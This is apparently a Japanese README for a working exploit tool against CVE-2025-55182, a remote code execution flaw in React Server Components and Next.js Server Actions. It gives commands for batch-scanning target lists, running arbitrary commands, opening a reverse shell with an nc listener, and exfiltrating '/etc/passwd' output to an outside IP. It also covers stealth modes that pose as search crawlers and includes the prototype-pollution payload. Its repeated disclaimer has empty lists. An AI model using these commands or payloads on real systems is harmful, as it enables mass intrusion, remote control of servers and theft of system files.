
CVE-2025-55182 React Server Components リモートコード実行エクスプロイトツール
CVE-2025-55182 は、Server Actions を使用する App Router を採用した Next.js アプリケーションに影響を及ぼす、React Server Components(RSC)における重大なリモートコード実行(RCE)脆弱性です。
この脆弱性は Flight プロトコルの逆シリアル化プロセスに存在し、攻撃者がプロトタイプ汚染(prototype pollution)を通じて任意のコード実行を達成することを可能にします。
認可されたセキュリティテスト専用
このツールは、教育および認可されたペネトレーションテストの目的のみのために提供されます。コンピュータシステムへの不正アクセスは違法です。本ツールの違法または不正な使用についての責任は、すべて使用者にあります。著者は一切の責任を負いません。
本ツールは、認可されたセキュリティテストおよび教育目的にのみ使用できます。違反または不正な操作があった場合、その結果はすべて使用者が負うものとし、著者とは無関係です。
このツールを使用する前に、完全な DISCLAIMER.md をお読みください。
このツールを使用することにより、以下に同意したものとみなされます:
| コンポーネント | 影響を受けるバージョン |
|---|---|
react-server-dom-webpack | 19.0.0 - 19.2.0 |
| Next.js | 15.x, 16.x (App Router + Server Actions) |
# Clone the repository
git clone https://github.com/Spritualkb/CVE-2025-55182-exp.git
cd CVE-2025-55182-exp
# Install dependencies
pip install requests
pip install requests[socks] # For SOCKS5 proxy support
python3 exploit.py http://target:3000 --check
# Basic batch scan
python3 exploit.py -f targets.txt --check
# With stealth mode and delay
python3 exploit.py -f targets.txt --check --stealth crawler --delay 2
# Save vulnerable targets to file
python3 exploit.py -f targets.txt --check -o vulnerable.txt
python3 exploit.py http://target:3000 -c "id"
# Start listener first
nc -lvnp 4444
# Execute reverse shell
python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444
# Start listener
nc -lvnp 4444
# Execute and exfiltrate output
python3 exploit.py http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
python3 exploit.py http://target:3000 --check --proxy socks5://127.0.0.1:1080
| モード | 説明 |
|---|---|
browser | 実際のブラウザリクエストを模倣します(デフォルト) |
crawler | 検索エンジンのクローラーを模倣します(Googlebot、Baiduspider など) |
security | セキュリティスキャナーの User-Agent を使用します |
| オプション | 説明 |
|---|---|
target | ターゲット URL(例:http://localhost:3000) |
-f, --file | ターゲット URL を含むファイル(1行に1つ) |
-o, --output | 脆弱なターゲットを保存する出力ファイル |
-c, --command | 実行するコマンド(ブラインド) |
--check | 脆弱性をチェックします |
--proxy | SOCKS5 プロキシ(例:socks5://127.0.0.1:1080) |
--stealth | ステルスモード:browser、crawler、security |
--delay | リクエスト間の遅延(秒単位) |
--variants | 徹底的なチェックのために複数のペイロードバリアントを使用します |
--revshell IP PORT | IP:PORT へのリバースシェル |
--exfil CMD IP PORT | CMD を実行し、出力を IP:PORT に POST します |
-t, --timeout | リクエストのタイムアウト(秒単位、デフォルト:15) |
このエクスプロイトは、Flight プロトコルの逆シリアル化におけるプロトタイプ汚染を利用します:
"$1:__proto__:then" を介して Object.prototype.then を汚染します"$1:constructor:constructor" を介して _formData.get を Function コンストラクタに設定しますFunction() に渡される _prefix を介して悪意のあるコードを注入します{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<malicious_code>",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
CVE-2025-55182-exp/
├── exploit.py # Main exploit script
├── targets.txt # Target URLs list (one per line)
└── README.md # This file
# Comments start with #
http://target1.com:3000
https://target2.com
target3.com:3000
react-server-dom-webpack と Next.js を最新のパッチ適用済みバージョンに更新しますこのプロジェクトは MIT ライセンスの下でライセンスされています。詳細については LICENSE ファイルを参照してください。
本ソフトウェアをダウンロード、コピー、インストール、または使用することにより、本免責事項の条件に拘束されることに同意したものとみなされます。
本ツールは専ら以下の目的のために設計されています:
本ツールを以下の目的に使用してはなりません:
本ソフトウェアは、明示的または黙示的な種類の保証なしに「現状有姿(AS IS)」で提供されます。著者は、以下を含むがこれらに限定されないすべての保証を否認します:
著者は、いかなる場合においても以下について責任を負いません:
ユーザーは以下について全責任を負います:
本ツールを使用することにより、以下を確認したものとみなされます:
本ソフトウェアをダウンロード、コピー、インストール、または使用する場合、本免責事項の条件に拘束されることに同意したものとみなされます。
本ツールは専ら以下の目的に使用されます:
本ツールを以下の目的に使用してはなりません:
本ソフトウェアは「現状有姿」で提供され、明示的または黙示的な保証は一切提供されません。著者は、以下を含むがこれらに限定されないすべての保証を否認します:
いかなる場合においても、著者は以下について責任を負いません:
ユーザーは以下の事項について全責任を負います:
本ツールを使用することにより、以下を確認したものとみなされます:
いかなるセキュリティテストを実施する前にも、以下を行う必要があります:
いかなるセキュリティテストを実施する前にも、以下を行う必要があります:
⚠️ 許可のないコンピュータへのアクセスは違法行為です ⚠️
⚠️ 許可のないコンピュータへのアクセスは犯罪行為です ⚠️